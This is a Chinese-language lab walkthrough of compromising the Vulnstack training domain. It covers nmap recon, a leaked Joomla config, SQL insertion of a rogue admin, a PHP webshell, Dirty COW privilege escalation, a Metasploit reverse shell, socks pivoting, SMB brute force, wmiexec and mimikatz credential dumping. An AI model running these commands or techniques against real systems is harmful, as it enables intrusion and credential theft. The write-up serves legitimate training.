简介
靶机作者:licong 靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/ 靶机描述:域控中存在一份重要文件(获取域控权限) 靶机主机有5台:ubantu、win2008、win7、win2012、centos 攻击主机:KALI(192.168.93.128)、Win10(192.168.1.103)
因为我使用的网卡是新增的VMnet2
(仅主机模式),IP段为192.168.93.x
。所有探测靶场IP
的时候就可以使用这个命令:
netdiscover -i eth0 -r 192.168.93.1/24
命令注释:-i 制定网卡,-r 指定IP段(扫描eth0网卡下的192.168.93.1的C段)
去除 192.168.93.1
和 192.168.93.254
这两个 IP
,剩下五个 IP
正好是这次靶机的 IP
!我们先通过 NMAP
对每个 IP
进行探测它的操作系统以及他们的端口开放服务,方便后面的一系列渗透测试:
nmap -sV -O 192.168.93.10
注释:-sV 是让NMAP进行版本探测,-O 是探测操作系统
192.168.93.10
这个 IP
扫描出来后发现是 Windows 2012
!
nmap -sV -O 192.168.93.20
192.168.93.20
这个 IP
扫描出来后发现是 Windows 2008
!
nmap -sV -O 192.168.93.30
192.168.93.30
这个 IP
扫描出来后发现是 Windows 7
!
nmap -sV -O 192.168.93.100
192.168.93.100
这个 IP
扫描出来后发现是 Linux
,但是无法确定是不是 Ubantu
!
nmap -sV -O 192.168.93.120
192.168.93.120
这个 IP
扫描出来后发现是 Liunx
,通过探测端口开放信息得知它应该是 Ubantu
,而上面的 192.168.93.100
那个估计就是 Centos
了!
其中 KALI
的 IP
会在文章中有变动,因为我搞这把靶场的时候中途关机过几次,随着开启启动VMware
后DHCP
会自动给它分配一个新的IP
,所以我的 KALI
在文章中变成了 192.168.1.128
、192.168.1.129
、192.168.1.130
!
(小弟第一次做拓扑图,就这样吧…)
通过开放了 http
服务,我首先来看看 192.168.93.20
的 web
,先是枚举了一下页面:
发现有一个 401
登陆认证的页面:
http://192.168.93.20/reports
经过一系列的 admin:admin、admin:admin123 … 等等弱口令
尝试后果断放弃!通过搜索了一下 Windows 2008
相关的漏洞发现有一个永恒之蓝
:
但是没啥用,这个先暂时缓缓,总不能在一棵树上吊死吧!
来到下一个 IP : 192.168.93.30
! 继续我们的永恒之蓝
看看能不能打下来:
看了没用啊,靶机还是有点”困难”的啊,原本以为这靶机存在永恒之蓝就可以打下了,事不如愿呐。
继续下一个 IP :192.168.93.100
!通过再次的端口扫描所有详细信息后得知:
它开放了 22
(ssh),80
(http),3306
(mysql),其中它 80
端口的 web
所使用的 CMS
为 Joomla
!JoomlaCMS
它是一套全球通用的CMS,所使用的脚本语言通常是 PHP
。
访问 http://192.168.93.100
发现页面上没有什么可以利用点:
通过使用 Joomscan
这款工具对它进行了一系列扫描:
项目地址:https://github.com/rezasp/joomscan
扫描结果如下:
root@liuwx:~/hacker/joomscan-master# perl joomscan.pl -u http://192.168.93.100/
____ _____ _____ __ __ ___ ___ __ _ _
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
(1337.today)
--=[OWASP JoomScan
+---++---==[Version : 0.0.7
+---++---==[Update Date : [2018/09/23]
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
--=[Code name : Self Challenge
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
Processing http://192.168.93.100/ ...
[+] FireWall Detector
[++] Firewall not detected
[+] Detecting Joomla Version
[++] Joomla 3.9.12
[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable
[+] Checking Directory Listing
[++] directory has directory listing :
http://192.168.93.100/administrator/components
http://192.168.93.100/administrator/modules
http://192.168.93.100/administrator/templates
http://192.168.93.100/images/banners
[+] Checking apache info/status files
[++] Readable info/status files are not found
[+] admin finder
[++] Admin page : http://192.168.93.100/administrator/
[+] Checking robots.txt existing
[++] robots.txt is found
path : http://192.168.93.100/robots.txt
Interesting path found from robots.txt
http://192.168.93.100/joomla/administrator/
http://192.168.93.100/administrator/
http://192.168.93.100/bin/
http://192.168.93.100/cache/
http://192.168.93.100/cli/
http://192.168.93.100/components/
http://192.168.93.100/includes/
http://192.168.93.100/installation/
http://192.168.93.100/language/
http://192.168.93.100/layouts/
http://192.168.93.100/libraries/
http://192.168.93.100/logs/
http://192.168.93.100/modules/
http://192.168.93.100/plugins/
http://192.168.93.100/tmp/
[+] Finding common backup files name
[++] Backup files are not found
[+] Finding common log files name
[++] error log is not found
[+] Checking sensitive config.php.x file
[++] Readable config file is found
config file path : http://192.168.93.100/configuration.php~
Your Report : reports/192.168.93.100/
其中有利用价值的文件目录有这些:
http://192.168.93.100/administrator/
http://192.168.93.100/robots.txt
http://192.168.93.100/configuration.php
administrator
目录是一个登陆页面,尝试了它的默认密码以及弱口令无果:
来到 robots.txt
文件,没有发现泄漏了重要文件信息:
但是 configuration.php~
这个文件泄露了 mysql
的数据库连接信息:
<?php
class JConfig {
public $offline = '0';
public $offline_message = '网站正在维护。<br /> 请稍候访问。';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'test';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $debug_lang_const = '1';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'testuser';
public $password = 'cvcvgjASD!@';
public $db = 'joomla';
public $dbprefix = 'am2zu_';
public $live_site = '';
public $secret = 'gXN9Wbpk7ef3A4Ys';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{major}{minor}:{keyref}&lang={langcode}';
public $ftp_host = '';
public $ftp_port = '';
public $ftp_user = '';
public $ftp_pass = '';
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailonline = '1';
public $mailer = 'mail';
public $mailfrom = 'test@test.com';
public $fromname = 'test';
public $sendmail = '/usr/sbin/sendmail';
public $smtpauth = '0';
public $smtpuser = '';
public $smtppass = '';
public $smtphost = 'localhost';
public $smtpsecure = 'none';
public $smtpport = '25';
public $caching = '0';
public $cache_handler = 'file';
public $cachetime = '15';
public $cache_platformprefix = '0';
public $MetaDesc = '';
public $MetaKeys = '';
public $MetaTitle = '1';
public $MetaAuthor = '1';
public $MetaVersion = '0';
public $robots = '';
public $sef = '1';
public $sef_rewrite = '0';
public $sef_suffix = '0';
public $unicodeslugs = '0';
public $feed_limit = '10';
public $feed_email = 'none';
public $log_path = '/var/www/html/administrator/logs';
public $tmp_path = '/var/www/html/tmp';
public $lifetime = '15';
public $session_handler = 'database';
public $shared_session = '0';
}
如上图所示,我们得到了一个 mysql
的用户:
user:testuser
pass:cvcvgjASD!@
用泄露的用户名和密码尝试登陆 mysql
:
mysql -h192.168.93.100 -utestuser -p
pass:cvcvgjASD!@
通过查询 joomla
数据库的 am2zu_users
表下的 username
、password
字段内容发现 administrator
用户的密码是加密的,而且不知道是啥加密,估计是加盐了。有知道的大佬麻烦告诉我,我会很感激的!
MySQL [joomla]> select username,password from am2zu_users;
+---------------+--------------------------------------------------------------+
| username | password |
+---------------+--------------------------------------------------------------+
| administrator | $2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2 |
+---------------+--------------------------------------------------------------+
1 row in set (0.00 sec)
抱着试一试的心态去 cmd5
解密了一下无果:
额…那么换个思路!既然 admin
的密码拿不到,我们可不可以修改它的密码或者说添加一个管理员用户进去呢?
通过观看官方文档发现它可以通过 SQL
语句来添加一个新的用户:
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
第一条语句:
INSERT INTO `am2zu_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
第二条语句:
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
通过插入 SQL
数据我们成功添加了一个 admin2
用户,密码是 secret
,登陆它的 web
:
http://192.168.93.100/administrator/index.php
之后在模板新建一个 php
文件:Extensions
-> Templates
-> Templates
访问 http://192.168.93.100/templates/beez3/8888.php
得到一枚 SHELL
:
虽然得到了一枚 webshell
,但是发现执行不了 shell
命令!但是呢可以切换目录,我切换目录到网站绝对路径下发现这些文件:
meterpreter > ls
Listing: /var/www/html
======================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100600/rw------- 12288 fil 2019-10-28 09:43:47 -0400 .1.php.swp
100600/rw------- 12288 fil 2019-10-20 02:52:20 -0400 .configuration.php.swp
100644/rw-r--r-- 28 fil 2019-10-24 09:25:46 -0400 1.php
100644/rw-r--r-- 27 fil 2019-10-24 09:44:42 -0400 2.php
100644/rw-r--r-- 18092 fil 2019-09-23 10:22:21 -0400 LICENSE.txt
100644/rw-r--r-- 4793 fil 2019-09-23 10:22:21 -0400 README.txt
40755/rwxr-xr-x 4096 dir 2019-09-23 10:22:21 -0400 administrator
40755/rwxr-xr-x 4096 dir 2019-09-23 10:22:21 -0400 bin
40755/rwxr-xr-x 4096 dir 2019-09-23 10:22:21 -0400 cache
40755/rwxr-xr-x 4096 dir 2019-09-23 10:22:21 -0400 cli
40755/rwxr-xr-x 4096 dir 2019-09-23 10:22:21 -0400 components
100644/rw-r--r-- 1927 fil 2019-10-19 08:48:41 -0400 configuration.php
100644/rw-r--r-- 1927 fil 2019-10-19 08:50:00 -0400 configuration.php~
100644/rw-r--r-- 3159 fil 2019-09-23 10:22:21 -0400 htaccess.txt
40755/rwxr-xr-x 4096 dir 2019-09-23 10:22:21 -0400 images
40755/rwxr-xr-x 4096 dir 2019-09-23 10:22:21 -0400 includes
100644/rw-r--r-- 1420 fil 2019-09-23 10:22:21 -0400 index.php
40755/rwxr-xr-x 4096 dir 2019-09-23 10:22:21 -0400 language
40755/rwxr-xr-x 4096 dir 2019-09-23 10:22:21 -0400 layouts
40755/rwxr-xr-x 4096 dir 2019-09-23 10:22:21 -0400 libraries
40755/rwxr-xr-x 4096 dir 2019-09-23 10:22:21 -0400 media
40755/rwxr-xr-x 4096 dir 2019-09-23 10:22:21 -0400 modules
40755/rwxr-xr-x 4096 dir 2019-09-23 10:22:21 -0400 plugins
100644/rw-r--r-- 829 fil 2019-09-23 10:22:21 -0400 robots.txt
40755/rwxr-xr-x 4096 dir 2019-12-28 08:26:42 -0500 templates
40755/rwxr-xr-x 4096 dir 2019-12-28 08:26:42 -0500 tmp
100644/rw-r--r-- 1859 fil 2019-09-23 10:22:21 -0400 web.config.txt
执行不了命令那么我通过疯狂翻目录
文件找到了一个 test.txt
文件,里面好像是一个账号密码:
adduser wwwuser
passwd www
通过得到的密码尝试 SSH
登陆:
登陆成功后查看了一下内核
:
uname -a
发现内核版本大于 2.6.22
,那么可以用脏牛提权(Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复))
https://github.com/FireFart/dirtycow/blob/master/dirty.c
(到了这里我本来想放弃的,后来是问了团队的老哥给的思路方法才知道)
提权成功,我们来切换一下用户 firefart
:
su firefart
pass:my-new-password
登陆成功!接下来通过 MSF
生成一个木马来得到一个 shell
进行后渗透:
通过 xshell
我发现上传不了文件:
后来通过 WinSCP
工具才上传成功的!
给 shell.elf
文件可执行
权限,然后运行后 MSF
反弹回来一个 shell
:
之后先添加路由表
扫描一下内网存活
主机:
run autoroute -s 192.168.93.1/24
扫描存活主机使用的模块是这个:
auxiliary/scanner/portscan/tcp
这个时候扫描出来发现内网存活了这些:
192.168.93.1
192.168.93.10
192.168.93.20
192.168.93.30
192.168.93.100
192.168.93.120
但是不知道它具体是什么操作系统,那么可以通过这个模块来对内网进行探测操作系统:
auxiliary/scanner/smb/smb_version
msf5 auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.93.1/24 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 20 yes The number of concurrent threads
msf5 auxiliary(scanner/smb/smb_version) > exploit
扫描出来有三台主机,其实探测出来的和我们NMAP
信息搜集出来的结果八九不离十,只不过是我们知道了靶机 IP
的情况下才探测出来操作系统,而现在是通过横向渗透才知道的:
[+] 192.168.93.20:445 - Host is running Windows 2008 Datacenter SP2 (build:6003) (name:WIN2008) (domain:TEST)
[+] 192.168.93.10:445 - Host is running Windows 2012 R2 Datacenter (build:9600) (name:WIN-8GA56TNV3MV) (domain:TEST)
[+] 192.168.93.30:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:WIN7) (domain:TEST)
以上三台主机是有 TEST域
的,说明他们在一个域
里!我通过MSF
爆破 Windows 2008
这台主机的 smb
登陆凭证爆破成功:
user:administrator
pass:123qwe!ASD
接着我先把它的流量代理出来,使用 socks4
代理:
auxiliary/server/socks4a
设置完毕后,配置 proxychains
在 /etc/proxychains.conf
这个文件,在末尾吧端口更改为刚刚设置监听的 1080
端口:
socks4 127.0.0.1 1080
为了验证我们是否代理流量成功,我扫了一下 192.168.93.20
(Windows 2008)这台主机的端口开放情况:
proxychains nmap -T4 -P 80,1433,3306,3389 192.168.93.20
扫描成功!这个时候就可以在扫它内网了!然后我本来想用 Socks4
的,但是失败了不知道为啥,后面我又把它换成 Socks5
:
在扫它内网之前我需要吧 KALI
这台主机的流量给代理出来,下面我用到的 socks5
代理,工具是 SSF
:
Win10:ssfd.exe -p 1050
KALI:./ssf -F 1051 -p 1050 192.168.1.103
代理成功后我们通过 wmiexec
去连接 windows 2008
:
wmiexec.exe administrator:123qwe!ASD@192.168.93.20
查看 Windows 2008
的 ip
后发现 dns
为 test.org
,接着 ping test.org
获取到了域控制器的 IP
:
C:\>ping test.org
Pinging test.org [192.168.93.10] with 32 bytes of data:
Reply from 192.168.93.10: bytes=32 time<1ms TTL=128
Reply from 192.168.93.10: bytes=32 time<1ms TTL=128
Reply from 192.168.93.10: bytes=32 time<1ms TTL=128
Reply from 192.168.93.10: bytes=32 time<1ms TTL=128
Ping statistics for 192.168.93.10:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
这个时候尝试抓取 test.org
域里的 administrator
密码,先上传一个 mimikatz
到 windows2008
:
proxychains smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe
到了这里我上传mimikatz失败了,我接着 MSF
生成了一个木马得到了 Windows 2008
的shell
,然后直接运行 getsystem
得到了 SYSTEM
权限 :
然后上传了一个 mimikatz
后,模拟域控登陆到了他的主机,这样就能直接读取到了明文密码:
最后通过 smb
连接到了2012
机器拿到 flag
: